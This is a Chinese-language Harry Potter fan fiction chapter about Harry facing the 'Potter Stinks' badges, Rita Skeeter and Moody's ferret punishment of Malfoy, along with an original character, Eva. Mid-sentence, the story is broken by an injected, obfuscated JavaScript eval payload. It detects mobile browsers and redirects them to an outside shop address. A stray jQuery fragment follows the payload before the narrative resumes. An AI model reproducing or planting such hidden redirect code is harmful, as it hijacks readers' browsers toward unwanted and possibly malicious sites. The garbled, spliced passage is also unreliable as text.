徽章的“咔哒”声在十一月潮湿的空气里，像某种恶意的节拍，从门厅蔓延到走廊，再到课堂的间隙。每一次按下，都是一次无声的宣告——哈利·波特是个作弊者，是个骗子，是个不该站在那里的第四位勇士。


    塞德里克·迪戈里的支持者们起初只是佩戴着“支持塞德里克”的徽章，那光芒是温暖的黄色。但不知何时开始，那些徽章被施了巧妙的变形咒——轻轻一按，黄字消失，变成刺目的红字：“波特臭大粪”。再按一下，又变回来。就像某些人的立场，看似明确，实则随时准备转向更恶毒的表达。


    哈利最近总是低头走路——当你每天要面对几十次、上百次这样的目光和徽章闪烁时，反抗本身都成了另一种消耗。他低着头，加快脚步，在走廊里像一道沉默的黑影，只有袍角翻飞的声响。


    但总有避不开的时候。


    周一魔药课的下课前十分钟，斯内普教授布置了当堂作业：分析双角兽角粉末与月光草汁液在不同温度下的反应速率。地窖里只剩下羽毛笔划过羊皮纸的沙沙声，坩埚余温散发的苦涩气味，还有学生们压抑的呼吸声。


    就在这时，教室后排传来一声轻微的“咔哒”。


    哈利的手指僵住了。羽毛笔尖在羊皮纸上洇开一小团墨迹。他没有回头，但能感觉到一些人的目光——赫奇帕奇的学生假装没听见。罗恩在他身边低声咒骂了一句，赫敏的嘴唇抿成一条细线。


    斯内普教授像蝙蝠一样无声地滑到后排。他的黑袍拂过地面，停在那几个格兰芬多和赫奇帕奇学生桌前——他们胸前的徽章正闪烁着“波特臭大粪”的红字。


    “课堂纪律，”斯内普的声音像冷油滴进寂静里，“禁止使用与教学内容无关的魔法物品。”


    他顿了顿，黑眼睛扫过那几个徽章：“每人扣五分。以及——”他的目光转向哈利，“波特，干扰课堂秩序，格兰芬多扣十分。”


    “教授！”赫敏忍不住站起来，“这不公平！哈利什么都没做——”


    “格兰杰小姐，”斯内普打断她，声音更冷了，“擅自发言，格兰芬多扣五分。还有问题吗？”


    赫敏的脸涨红了，但她坐下了，手指紧紧攥着羽毛笔。


    哈利盯着羊皮纸上的墨迹，感觉胃里像塞了一块冰冷的石头。从一年级起，斯内普就找各种理由扣格兰芬多的分，找各种借口针对他。但现在不一样——现在整个城堡都在针对他。


    下课后，学生们涌出地窖。哈利故意磨蹭着收拾东西，等大部分人都走了才离开。他不想看那些目光，那些窃窃私语，那些装作不经意扫过他的视线——好像在检查他是不是真的有什么“作弊者”的标志。


    走廊尽头，《预言家日报》的记者丽塔·斯基特正等着他。


    她穿着一身刺眼的洋红色长袍，头发梳成夸张的卷发，羽毛笔和速记本悬在半空，满脸都是那种职业性的、过分热情的笑容。


    “哈利！亲爱的！”她的声音像蜜糖一样甜腻，“终于找到你了！能给我五分钟吗？就五分钟！读者们太想了解真正的你了——火焰杯选中的人！”


    哈利想绕过她，但斯基特灵活地挡住了去路。她的羽毛笔已经开始自动书写，在速记本上划出流畅的花体字。


    “听说你和威克多尔·克鲁姆私下是朋友？一个是霍格沃茨学生，一个是国际球星——多么动人的友谊故事！”


    “我们不熟。”哈利生硬地说。


    “哦，谦虚！”斯基特的眼睛在镶嵌珠宝的眼镜后闪闪发亮，“还有塞德里克·迪戈里——同为霍格沃茨勇士，你们之间有没有……良性竞争？还是说，你其实觉得他不够格和你相提并论？”


    “我没有——”


    “哦对了！你的伤疤！”斯基特突然凑近，哈利能闻到她身上浓重的香水味，“最近疼吗？在火焰杯选中你的时候？有人说这是……某种预兆？”


    “没有什么预兆！”哈利的声音提高了，他感到血液冲上脸颊，“我要去上课了。”


    他试图绕过她离开，但斯基特像水蛭一样黏人。她的羽毛笔舞得更快了。


    “生气了吗？压力太大了？毕竟要面对危险的比赛，还要承受这么多……质疑。有没有想过退出？还是说邓布利多校长不允许？”


    就在这时，麦格教授从变形术教室走出来。她看到这一幕，眉头立刻皱紧了。


    “斯基特女士，”麦格教授的声音像冬天的冰面，“我记得邓布利多校长明确说过，采访学生需要教授在场。而我现在没看到任何教授在场。”


    斯基特的笑容僵了一瞬，但很快又恢复：“亲爱的麦格教授！我只是和哈利进行一些友好的——”


    “他现在需要去上课。”麦格教授打断她，走到哈利身边，“如果你需要采访，请通过正规渠道申请。现在，请让开。”


    她的目光像两把刀。斯基特终于不情愿地退后一步，但她的羽毛笔还在书写——麦格教授干涉采访，保护“备受争议的勇士”，这本身就能写出一段精彩的文字。


    哈利跟着麦格教授快步离开。走出一段距离后，麦格教授才放慢脚步，低声说：“离她远点，波特。她写的每一个字都是为了制造轰动，而不是陈述事实。”


    “我知道。”哈利说，声音疲惫。


    “还有，”麦格教授顿了顿，“你要记住，你是霍格沃茨的勇士，无论别人怎么说。挺直背，哈利。”


    挺直背。每个人都这么说。穆迪教授这么说，麦格教授也这么说。好像只要他站得够直，那些徽章、那些目光、那些窃窃私语就会消失似的。


    草药课上，哈利心不在焉。他本该小心处理那株暴躁的毒触手，但手指被叶片边缘划了一道口子——不深，但火辣辣地疼。斯普劳特教授赶紧给他涂上舒缓药膏，关切地问：“你还好吗，哈利？”


    “我很好。”哈利机械地回答。


    其实不好。一点都不好。


    傍晚，雨又开始下了。不是倾盆大雨，而是那种绵密的、无孔不入的细雨，把整个世界罩在一片灰色的水幕里。哈利从图书馆出来——赫敏逼他来的，说要写魔药课的论文——但他在书架间坐了整整一个小时，一个字也没写出来。


    他不想回格兰芬多塔楼。公共休息室里总有人盯着他，总有人想问“你是怎么做到的”，总有人在看到他时立刻停止交谈，好像他是什么不该被讨论的禁忌。


    他走在一条偏僻的走廊。这里靠近城堡东翼，平时很少有人来，墙上挂毯褪了色，火把也稀疏。雨声敲打彩窗，在石地板上投下模糊的、流动的光影。他或许在下意识期待什么，就像三年级时候的偶遇——


    然后他看到了她。


    Eva抱着几本书，像是恰巧路过，在一扇高大的彩窗前停留，看了一眼窗外的雨幕，头发在脑后松松地绾着，几缕碎发垂在颈边。


    哈利停下脚步。他想转身离开——他现在的样子一定糟透了，疲惫，烦躁，像一只被逼到角落的困兽——但Eva已经看到了他。


    “哈利。”她的声音很轻，在雨声里几乎听不清。


    “嗨。”哈利说，声音干涩。


    他们隔着几米远站着。走廊里只有雨声，和远处隐约传来的、皮皮鬼在某处搞破坏的嬉笑声。


    哈利突然不想压抑了。


    “为什么总是我？”他的声音冲口而出，比想象中更尖锐，更愤怒，“我什么都没做！我没有把名字投进去！我没有想要这个！我只想……我只想当个普通学生，打魁地奇，和朋友一起上课，不被所有人盯着，不被所有人议论！”


    他的声音在空荡的走廊里回荡，然后被雨声吞没。他喘着气，感觉胸膛里有什么东西在烧——是愤怒，是无助，是那种“为什么总是我”的、积累了四年的委屈。


    Eva没有说话。她只是看着他，那双总是平静的眼睛里，此刻只有温和的包容。


    “在罗恩和赫敏面前，”哈利继续说，声音低了些，但更压抑，“我不能这样说。罗恩总觉得我应该有办法证明自己无辜。赫敏……她总在想办法，在研究规则，在找漏洞。他们都想帮我，但有时候……有时候我只想有人听我说，我不想要解决方案，我只想说……这不公平。”


    他说完了。走廊里又只剩下雨声。


    Eva静静听着，没有打断，直到他最后一个字在雨声中消散，胸口因愤怒和委屈而剧烈起伏。


    她沉默了几秒，声音很轻，却像投入寂静水面的石子：“三年级末我被流言缠上的时候……每天走进礼堂，感觉就像在穿过一片长了眼睛的草丛。那些目光黏在背上，像在质问‘她凭什么？她用了什么手段？’”


    哈利一愣，抬起眼看向她。他想起那时候，Eva总是垂着眼，步伐平稳，从不停留。


    “后来我发现，”Eva继续说，目光落在窗外被雨模糊的景色上，“最难受的不是他们说了什么，而是那种……被悬在半空的感觉。脚下没有实地，因为你无法向每一个路过的人证明‘我没有’。你只能站在原地，等着那些目光自己移开，或者……习惯它们的重量。”


    她看向哈利，那双总是沉静的眼睛里，此刻有一种清晰的的理解。


    “所以，哈利，”她说，“我知道那是什么感觉……像是脚下的石头在流动，而找不到一块能踩实的地方。”


    “我没有办法让那些石头停下来，”Eva的声音更轻了，却异常清晰，“但至少，你可以不用一个人站在流沙里。记得抬头看看，还有人是站在实地上的，他们在看着你，不是那些流言里的‘救世主’或其他什么，只是你，哈利。”


    她的话像一道温和却坚定的屏障，暂时隔开了走廊外那个充满敌意的世界。哈利胸口的灼烧感奇异地平息了一些，被一种更沉重的、酸涩的暖意取代。


    他看着她，她总是这样。一年级在黑暗的活板门后，二年级在密室，三年级时在这里，同样的地点。她好像永远站在那，伸出手，告诉他：你只是你。


    一种连他自己也未曾察觉的、微妙的异样感悄然而生。它很轻，像羽毛挠过心尖——在她面前，他可以只是他自己，不用像“坚强的哈利·波特”，就只是这个愤怒又委屈的、十四岁的自己。


    这个念头一闪而过，快得抓不住，却在他心里留下一点模糊的痕迹。


    “谢谢。”哈利最终说，声音比刚才更哑，但平稳了许多，“谢谢你……听我说这些。”


    Eva摇了摇头，“随时都可以。”她说。


    周四的黑魔法防御术课在一种令人紧张的氛围中结束。穆迪教授花了整整一节课详细讲解三大不可饶恕咒，他的描述冰冷、严酷、充满令人不适的细节。当他说到钻心咒是如何“系统地摧毁受害者的神经系统，将痛苦放大到超越人体极限”时，纳威·隆巴顿的脸色变得像羊皮纸一样白，手指紧紧抓着桌子边缘。哈利的伤疤也隐隐作痛。


    下课铃声几乎是一种解脱。四个学院的学生涌出教室，像逃离某种令人窒息的压力舱。部分学院需要去上下一节课，队伍自然地流向城堡主楼，穿过门厅。


    门厅里人声嘈杂，不同颜色的院袍混杂在一起。Eva和帕德玛、曼蒂、丽莎随着拉文克劳的人流走出教室，正要穿过门厅走向拉文克劳塔楼方向。就在这时，她听到那个熟悉的、拖长的声音，刻意抬高了，在一片嘈杂中显得格外刺耳：


    “嘿，看看，这不是我们三强争霸赛的作弊勇士吗？怎么，我们的作弊勇士今天没带着你的‘特殊顾问’？”


    德拉科·马尔福带着克拉布和高尔，故意拦在了哈利、罗恩和赫敏面前，正好挡在不少学生经过的路径上，目光意有所指地扫视着。潘西·帕金森和其他几个斯莱特林也笑嘻嘻地围在旁边。


    Eva的脚步几不可察地停了下来。她看到马尔福侧对着她的方向，眼角的余光似乎扫过拉文克劳的人群。他挺直了背，下颌线微微收紧——那个姿态Eva最近太熟悉了，像一种准备进入“表演状态”的细微调整。


    哈利沉下脸：“让开，马尔福。”


    “急什么？”马尔福慢悠悠地说，灰蓝色的眼睛里闪着恶意，“刚才的课多有意思啊，是不是？尤其是关于钻心咒那段……我猜有些人听了特别有感触吧？”他的目光意有所指地扫过哈利，又瞥向脸色苍白的纳威。


    “别说了，马尔福。”赫敏厉声道，“我们得去上课。”


    “上课？我们的‘勇士’还需要上课吗？”马尔福嗤笑，胸前的“支持塞德里克·迪戈里”徽章在门厅的火光下闪着冷光，“我以为他早就学会了所有需要……作弊的技巧。”


    “我没有作弊！”哈利低吼道，手指已经握住了魔杖。


    “哦，当然没有。”马尔福拖长了声音，目光无意识地扫过Eva所在的位置，“你只是……运气特别好。就像你父母当年一样，对吧？”他的语气充满了恶毒的暗示。


    纳威挤上前一步，他的呼吸急促，眼睛死死盯着马尔福，但说不出话。


    马尔福看到纳威，脸上的讥笑更深了。他突然做了一个夸张的、扭曲的表情——翻着白眼，嘴角抽搐，身体不自然地颤抖——那是在拙劣而残忍地模仿钻心咒受害者的症状。


    “就像这样，是不是，隆巴顿？”马尔福用尖细的声音说，“你爸妈是不是就这副德性——”


    “闭嘴！”


    哈利的魔杖瞬间抽出，罗恩的也是。但没等他们念出咒语——


    “你在做什么，小子？！”


    木腿敲击石板的“笃笃”声又快又重。阿拉斯托·穆迪从通往他办公室的楼梯上大步走来，魔眼疯狂转动，那只正常的蓝眼睛燃烧着冰冷的、几乎要实质化的怒火。他显然看到了马尔福模仿钻心咒受害者的那一幕。


    穆迪像一座移动的堡垒般插进两队人中间，直接面对着马尔福。他身上散发出的那种经历过真正战争、见过无数惨状的凛冽气息，让刚才还气焰嚣张的马尔福瞬间脸色发白。


    “你觉得钻心咒受害者的痛苦，是个笑话？”穆迪的声音低沉得可怕，“你觉得模仿他们被折磨的样子，很幽默？”


    “教授，我只是……”马尔福想辩解。


    “我看见了！”穆迪吼道，“用最邪恶的咒语带来的痛苦，去嘲笑受害者和他们的家人……你这卑鄙、残忍——”


    他的愤怒到了顶点。在所有人反应过来之前，穆迪的魔杖猛地一挥！


    一道刺眼的蓝光击中马尔福。


    没有爆炸，只有一种令人牙酸的、□□被强行挤压扭曲的闷响。马尔福的惊叫卡在喉咙里，他的身体猛地收缩、塌陷——校袍像空口袋一样垮下去，从领口挣扎着钻出来的，是一个毛茸茸的、雪白的脑袋。


    几秒钟内，德拉科·马尔福消失了。取而代之的是一只瑟瑟发抖的雪貂，披着过于宽大的墨绿色校袍，在门厅冰凉的地板上惊慌地扭动，灰蓝色的眼睛里满是难以置信的惊恐和彻底的羞辱。


    “喜欢嘲笑别人的痛苦？”穆迪的声音因愤怒而颤抖，他再次挥动魔杖。


    雪貂尖叫着被无形的力量拎到半空，然后开始翻滚、旋转，像被猫玩弄的老鼠，在门厅离地几英尺的高度无助地弹来弹去。


    “那就让你尝尝完全失控、任人摆布的滋味！”


    门厅里一片死寂，只有雪貂的叫声和穆迪粗重的喘息。所有学生——四个学院的，还有刚下课路过的——都目瞪口呆地看着这一幕。Eva停下脚步，手指攥紧了怀里的书。


    “阿拉斯托！天哪！你在做什么？！”


    麦格教授震惊的声音从大理石楼梯顶端传来。她以惊人的速度冲下楼梯，脸色煞白。


    “阿拉斯托！停下！”麦格教授冲到近前，眼睛里燃烧着怒火，声音尖利。


    穆迪直起身，魔眼转了一圈：“一点教训，米勒娃。让学生记住，有些行为是要付出代价的。”


    “用非法变形咒？！”麦格教授的声音提高了，“对学生？！这是严重违反校规！”


    僵持了令人窒息的两秒后，穆迪极其不情愿地挥了挥魔杖。


    雪貂“啪”地一声掉落在冰冷的地板上，离Eva和几个拉文克劳女生站的地方不远。它惊魂未定，瑟瑟发抖，灰蓝色的眼睛里满是惊恐，试图爬起来逃跑，但四条腿软得像面条，只能徒劳地在原地打滑。


    麦格教授显然意识到了眼前的尴尬。她迅速扫视周围，目光落在离得最近的Eva身上——她似乎看懂了麦格教授的尴尬，下意识地蹲下身，解下自己的深蓝色羊毛开衫，轻轻盖在雪貂身上。动作很快，足够挡住那些好奇、惊愕、甚至幸灾乐祸的目光。


    “张小姐，带他去校医院。”麦格教授赞许地看了Eva一眼，当机立断地说，声音虽急却不失条理，“庞弗雷夫人知道怎么处理。阿拉斯托，你跟着去，在波皮检查前解除变形！”她自己也快步跟上，显然是要全程监督，并处理后续。


    Eva小心地抱起雪貂——很轻，皮毛柔软。她能感觉到它在发抖。


    她没有看周围学生的目光，只是快步走向校医院方向。怀里的雪貂一动不动，只有细微的、压抑的颤抖透过毛衣传来。


    庞弗雷夫人看到雪貂时倒吸一口凉气，穆迪教授在麦格教授的注视下，粗声念了解咒术。一道柔和的银光笼罩雪貂，它的身体开始舒展、变大，皮毛褪去，四肢恢复——


    Eva赶紧避开。


    她把开衫放在床边的椅子上，以便不时之需，转身离开。走到门口时，她听见庞弗雷夫人温和但不容置疑的声音：“你需要在这里观察一小时，马尔福先生。以及，情绪激动不利于恢复。”


    门在身后关上。走廊里空荡荡的。


    那天晚上及随后几天，城堡里的流言彻底转了风向。“波特臭大粪”的徽章还在闪烁，但人们私下议论的焦点，已经无可争议地转向了雪貂与马尔福。


    流言像多面镜，在每个学院折射出不同的色彩。


    在斯莱特林地窖，银绿色的炉火映照着一张张神色各异的脸。最初的震惊过后，议论分成了几派。


    “穆迪那老疯子应该被开除！”潘西·帕金森在公共休息室里尖声说，眼睛红肿，“他对学生用非法变形咒！这完全可以告到威森加摩——”


    但更多高年级学生沉默以对。几个七年级男生聚在角落，压低声音：“马尔福也是活该，非要去戳隆巴顿家的痛处……还当着穆迪的面。”


    “但他模仿的样子确实太过分了。”一个六年级女生小声说，“我叔叔在圣芒戈工作，他说隆巴顿夫妇的状况……那不是能拿来开玩笑的。”


    西奥多·诺特安静地翻着书，只在潘西情绪最激动时抬眼说了一句：“如果马尔福先生知道德拉科是因为模仿钻心咒受害者被罚，恐怕不会支持他去‘告状’。”


    潘西噎住了。地窖陷入一种难堪的沉默。所有人都知道诺特说得对——卢修斯·马尔福可以容忍儿子挑衅波特，但公然羞辱被钻心咒折磨致疯的纯血统家族（隆巴顿家也是神圣二十八族之一），这在纯血统的“体面”规则里，是越界的。


    而关于Eva用开衫盖住雪貂、并护送去校医院的细节，在斯莱特林内部流传时，被微妙地处理了。有人说是“麦格教授命令拉文克劳那个女生帮忙”，有人强调“她很快就走了，根本不想沾边”。但几个当时站得近的低年级学生私下嘀咕：“她动作挺快的……不然好多人都在看。”


    在格兰芬多塔楼，气氛更加复杂。


    “说真的，马尔福活该。”西莫·斐尼甘在晚饭时说，“他模仿纳威父母的样子……”他摇摇头，没说完。


    纳威那晚回来后就没怎么说话。哈利和罗恩试图安慰他，但他只是摇摇头，低声说：“我不希望任何人……变成那样。即使是马尔福。”


    赫敏抱着手臂，眉头紧锁：“不过穆迪教授的反应完全过激了。用变形术惩罚学生是严重违规，而且当众羞辱……这根本不是在教育，这是在发泄怒火。”


    “但他是在为哈利和纳威出头啊。”罗恩说。


    “用错误的方式纠正错误，并不会让事情变对。”赫敏严肃地说，“而且这会让斯莱特林更恨哈利，觉得是哈利的原因导致了这一切。”


    哈利没说话。他想起雪貂在空中无助翻滚的样子，想起马尔福变回来后惨白的脸。是的，解气，但不安像细小的藤蔓，缠绕着那份短暂的快意。


    而在拉文克劳，讨论则更加理性。


    “从法律角度看，穆迪教授的行为至少触犯了《教育魔法使用规范》第三条和第七条。”帕德玛在公共休息室分析，面前摊着笔记，“但考虑到马尔福行为的挑衅性质，最终处理可能从轻。”


    “重点是‘比例原则’。”一个七年级男生加入讨论，“惩罚应该与过错相当。当众变形羞辱，显然超出了‘适当惩戒’的范畴。”


    “但你们看到马尔福模仿的样子了吗？”曼蒂小声说，“那真的……很恶劣。”


    帕德玛点头：“所以这是个伦理难题。恶劣的行为是否值得过激的惩罚？如果教授可以用私刑，校规的意义在哪里？”


    Eva坐在窗边，听着这些讨论，指尖无意识地拂过腕间玉佩温润的表面。


    赫奇帕奇的议论则更贴近人情。


    部分受到过马尔福和斯莱特林嘲讽的人仿佛出了口恶气。但大多对纳威·隆巴顿同情，以及更多的人都对此噤若寒蝉。


    当然也有不一样的声音。


    “塞德里克说，无论怎样，教授都不该那样对学生。”一个赫奇帕奇女生在草药温室里对朋友说。


    流言在城堡里发酵、变形。有人传穆迪被麦格教授勒令写检查，有人说马尔福家族要利用校董之便给学校施压，还有离谱的版本说马尔福留下了“雪貂后遗症”，偶尔会不受控制地吱吱叫。


    而在斯莱特林地窖，德拉科·马尔福在校医院待了一小时后回来了。之后两天，他几乎没在公共场合露面。潘西说他“需要静养”，但更多人猜测是羞于见人。公共休息室里的气氛沉闷而紧绷，一种混合着愤怒、难堪和隐隐后怕的情绪在银绿色的阴影里流动。当然此次事件的风波也传到了客人们的耳中。


    雨连绵不绝地下着，仿佛苏格兰高地的秋天永远也晴不了。黑湖的水位上涨，德姆斯特朗的大船在灰蒙蒙的雨雾中像一头蛰伏的黑色巨兽。布斯巴顿的马车窗户里透出温暖的光，但马克西姆女士脸上的表情日益严肃。


    第一项任务的日子一天天逼近。火焰杯在门厅里静静燃烧，蓝光幽幽，仿佛在积蓄力量，等待着吐出第一个秘密。


    周五的保护神奇生物课，海格的状态比上周更糟了。


    他牵出那批萎靡的炸尾螺时，手在明显发抖。重复上节课如何安全处理蜕皮期的要点时，语无伦次，好几次说错步骤，甚至把“防止尾部爆燃”说成了“鼓励它们多活动”。当一只炸尾螺的尾巴突然爆出一串火星，差点烧着一个赫奇帕奇学生的袍子下摆时，海格甚至没注意到，只是呆呆地望着禁林方向，巨大的胸膛沉重地起伏。


    “他到底怎么了？”罗恩低声对哈利和赫敏嘟囔。


    哈利摇摇头，目光却不由自主地飘向场地另一侧。


    德拉科·马尔福站在斯莱特林学生群落的边缘，几乎紧挨着温室的外墙。他今天穿着一件领口扣到最上面一颗的墨绿色高领毛衣，外面罩着校袍，脸色是一种不透明的苍白。克拉布和高尔像两座沉默的山，一左一右杵在他身后，隔绝了大部分视线。马尔福垂着眼，盯着自己擦得锃亮的龙皮靴尖前的泥地，仿佛那里有什么极度吸引人的东西。从上课到现在，他没有说过一句话，没有像往常那样对炸尾螺露出嫌恶的表情，更没有往格兰芬多这边瞥过一眼。


    他像一尊被抽空了所有张扬气焰的、苍白的石膏像，只剩下紧绷的、防御性的轮廓。


    整个场地的气氛都因为他的异常沉默而显得格外凝滞。斯莱特林的学生们也都比平时安静，只和身边的人低声交流，眼神偶尔小心翼翼地扫过马尔福，又迅速移开。格兰芬多这边，窃窃私语声也压得很低，许多人脸上带着复杂的神色——解气，好奇，还有一丝不易察觉的尴尬。纳威离马尔福所在的方向最远，他全程低着头，异常专注地对付着面前那只还算温顺的炸尾螺。


    Eva和帕德玛、曼蒂、丽莎一起，她们的位置在拉文克劳与赫奇帕奇学生交界处，距离两边都有些距离。她能清晰地感觉到场上那种无声的张力。海格的心不在焉像一层弥漫的雾，而马尔福的沉默则像雾中一块冰冷的礁石，让所有经过的人都不得不绕行。


    课程内容进行得磕磕绊绊。海格似乎终于意识到自己注意力涣散，用力拍了拍毛茸茸的脸颊，粗声宣布：“现在……两人一组，试着给你们手上的炸尾螺测量一下尾节长度，记录在羊皮纸上！记住，动作要轻，从侧面接近！”


    学生们开始走动、分组。就在这不可避免的混杂中，一阵小小的骚动发生了。


    一只特别不安分的炸尾螺（可能是被之前同伴的火星惊扰了）突然猛地一挣，从那个赫奇帕奇男生手里滑脱，翘着冒烟的尾巴，飞快地朝着场地中央——也就是格兰芬多和斯莱特林阵营之间那片空旷的泥地——横冲直撞过去。


    “拦住它！”海格如梦初醒，大吼一声。


    几个学生下意识地举起魔杖，又犹豫着放下——对着一只暴躁的炸尾螺用咒语风险太大。赫敏已经掏出了她的魔杖，罗恩骂了一句。


    而那只炸尾螺冲刺的方向，恰好经过马尔福附近。


    马尔福像被烫到一样，猛地向后缩了一下，背脊重重撞在温室的玻璃上，发出一声闷响。他灰蓝色的眼睛里瞬间闪过极其清晰的惊惧——不是对炸尾螺本身，那东西并不致命。而是一种更深层的、对“意外”、“失控”和“再次当众出丑”的恐慌。他的手下意识地摸向魔杖，却又像被什么烫到似的僵住，指尖微微颤抖。


    就在炸尾螺即将擦过边缘，可能波及他袍角的前一刻——


    “统统石化！”


    一道精准的咒语光芒从斜侧方射来，击中了炸尾螺。它保持着翘尾冲刺的可笑姿势，僵在了泥地里，离马尔福的靴子只有不到一英尺。


    Eva不知何时已经上前了几步，魔杖还稳稳地指着前方。她的动作干脆利落，脸上没有什么特别的表情，仿佛只是处理了一个课堂上常见的小麻烦。


    全场的目光瞬间集中在她身上，然后又隐晦地转向僵立在墙边的马尔福。


    马尔福的脸从苍白涨成了难堪的暗红。他急促地呼吸着，胸膛起伏，眼睛死死盯住地上被石化的炸尾螺，然后又猛地抬起，看向Eva。那眼神复杂得难以解读——有未褪的惊恐，有被“解救”的难堪，有愤怒，或许还有一丝极快掠过的、连他自己都未曾察觉的震动。他的嘴唇抿成一条刀锋般苍白的线。


    Eva平静地看向海格：“教授，这只还需要测量吗？”


    海格愣愣地：“啊？哦……不，不用了，处理得很好，Eva……拉文克劳加五分。”他走过来，大手一挥，将石化的炸尾螺拎起来，嘟囔着，“看来今天大家都有点……心不在焉。好了，继续，继续你们的工作！”


    小小的骚动平息了。学生们重新开始分组、测量，但气氛更加微妙。哈利看着Eva在拉文克劳小组的身影，又看看依旧僵立在墙边、仿佛想把自己嵌进玻璃里的马尔福，心里那股复杂的滋味又翻涌上来。Eva做了正确的事，干脆、有效，就像她一贯的风格。但不知为何，看到马尔福那副受惊后又强撑的样子，哈利觉得一点也不痛快。


    马尔福终于动了。他极其缓慢地、僵硬地把自己从玻璃上“撕”下来，对


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230006|193567||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    克拉布和高尔低声说了句什么，声音嘶哑难辨。然后他走到一个离所有人更远的角落，开始“测量”他那只早已被高尔笨拙地控制住的炸尾螺。直到下课，他再也没有靠近。


    下课后，哈利和赫敏、罗恩打过招呼，故意留在最后，望着Eva和拉文克劳们离开的背影，以及其他学生都三三两两离开，走向城堡时，他才走到心神不宁的海格身边：“海格？你还好吗？”


    海格庞大的身体僵了一下。他低头看着哈利，甲壳虫般的黑眼睛里满是挣扎：“我不能说，哈利。邓布利多说了，不能泄露……对所有学生都要公平……但……梅林啊，这不公平……”


    他的声音哽咽了。哈利从没见过海格这样——这个三米高的混血巨人，此刻像个无助的孩子。


    “我会没事的，海格。”哈利说，努力让自己的声音听起来有信心，“我经历过更糟的。”


    “这次不一样！”海格几乎要哭出来了，“这次是……是……哦，我不该说，但我忍不住……哈利，你要小心，要非常非常小心……那不是你这个年纪该面对的……”


    他最终什么也没透露，只是用力拍了拍哈利的肩膀，力气太大，哈利踉跄了一下。然后转身大步走向小屋，每一步都踏在潮湿的泥土上，留下深深的脚印。


    周六上午快接近中午的时候，天空难得放晴，稀薄的阳光透过城堡高窗，在走廊石板上投下斜斜的光斑。Eva从图书馆出来，怀里抱着几本刚借的书，准备穿过三楼那条连接东西翼的僻静长廊回拉文克劳塔楼。


    就在她走近一个拐角时，听到了刻意压低却难掩讥诮的议论声。是几个斯莱特林男生，靠在盔甲陈列龛旁，背对着她的方向。


    “……你是没看见他那样子，帕金森差点哭晕过去。”


    “该！让他平时那么嚣张，踢到铁板了吧？”


    “不过穆迪那老疯子也是真敢……当众变成雪貂扔来扔去，马尔福爸爸可是校董——”


    “得了吧，谁让马尔福自己嘴欠还学隆巴顿家……”声音更低了，带着恶意的笑，“不过说真的，他当时在地上爬的样子可真够……”


    Eva的脚步没有停。她平静地从这几个斯莱特林身后走过，甚至没有完全侧头看他们，只是在经过时，用清晰而平稳的声音，抛下了两句话：


    “如果对穆迪教授有什么建议，该去找穆迪教授。”


    “在这儿重温同学的狼狈，并不能证明你们比他强多少。”


    话音落下时，她已经走过了拐角。声音不高，但在空旷的走廊里异常清晰。


    那几个斯莱特林男生像被掐住了脖子，议论声戛然而止。其中一个涨红了脸想回嘴，却见Eva的背影已经消失在走廊另一端，只有袍角在拐弯处一闪而逝。


    最后只是其中一个嘟囔了一句，“关她什么事，果然和马尔福有旧情。”


    而就在楼梯拐角另一侧，连接上方楼梯的阴影里，德拉科·马尔福僵住了脚步，克拉布和高尔跟在身后，犹豫地看着停在低一级台阶上的马尔福。


    他是从楼上下来的，本要去地窖方向，恰好听到了自己学院的人的议论，正阴沉着脸准备走过去——那些恶毒的词汇让他血液发冷，手指已经摸向了魔杖。


    然后他听到了她的声音。那两句话，像两颗小石子，精准地投进了他胸口的情绪泥潭里。


    马尔福的手从魔杖上松开了。


    他原本打算的报复——一个锁腿咒，或者更狠的——突然变得毫无意义。


    他突然想起了寝室里的那件还未归还的女式毛衣开衫，还有三年级那次——他的博格特之后类似的场景……一种极其复杂的感觉攫住了他。一丝极其细微、几乎无法察觉的、被什么东西轻轻撞了一下的悸动。但几乎立刻，更强烈的烦躁和困惑涌了上来：她凭什么？她懂什么？她是不是又在用那种自以为是的逻辑来……


    他站在阴影里，看着那几个斯莱特林讪讪离开的方向，又看向Eva消失的走廊尽头。最终继续向地窖走去。


    午后的阳光从高窗斜射进来，照得空气中的尘埃清晰可见。


    下午的防御术实践小组集会，成了哈利一周中唯一的喘息。


    有求必应屋变成了一间宽敞的训练室，墙上挂着各种防御咒语图解，角落里堆着练习用的垫子和假人。壁炉里的火熊熊燃烧，驱散了十一月的寒意。


    人比上周更多了。除了原来的成员——哈利、罗恩、赫敏、Eva、帕德玛、曼蒂、丽莎、纳威、迪安、西莫、金妮、弗雷德和乔治、偶尔来的秋——又多了几个新面孔：两个赫奇帕奇的学生，苏珊·博恩斯和贾斯廷·芬列里。


    “已经经过我的严格筛选。”赫敏在集会开始前小声对哈利说，“不能什么人都进来。万一……有搞破坏的呢？”


    哈利点点头。他知道赫敏指的是什么——那些戴徽章的人，那些怀疑他的人，那些可能破坏学习小组的人。


    但今天来到这里的人，眼神都是干净的。没有怀疑，没有讥讽，只有一种共同的、想要变强的决心。


    集会开始，哈利讲解如何在移动中维持铁甲咒的稳定性。他示范了几次，然后让大家分组练习。有求必应屋里很快充满了咒语的光芒、专注的低语声，还有偶尔的惊呼或笑声。


    休息间隙，大家围坐在壁炉边。金妮正愤愤地讲述今天在魔咒课上发生的事：


    “……然后那个斯莱特林女生，明明是自己咒语没念对，却大声说‘是不是波特勇士的光环影响了课堂魔力场’？梅林啊，我差点用魔杖戳她的眼睛！”


    弗雷德咧嘴一笑：“我们正在研发一种新玩意儿——‘臭大粪徽章反弹’。戴上我们特制的徽章，只要有人在你面前按那个丑东西，他们的徽章就会自动变成‘我是巨怪’。”


    乔治补充：“还在测试阶段。昨天我们拿罗恩试了试，效果不错，但他差点把我们的宿舍拆了。”


    罗恩气愤指责双胞胎不爱护弟弟。大家都笑了。连哈利都忍不住勾起嘴角——在这种氛围里，他可以暂时忘记外面的那些目光、那些徽章、那些窃窃私语。


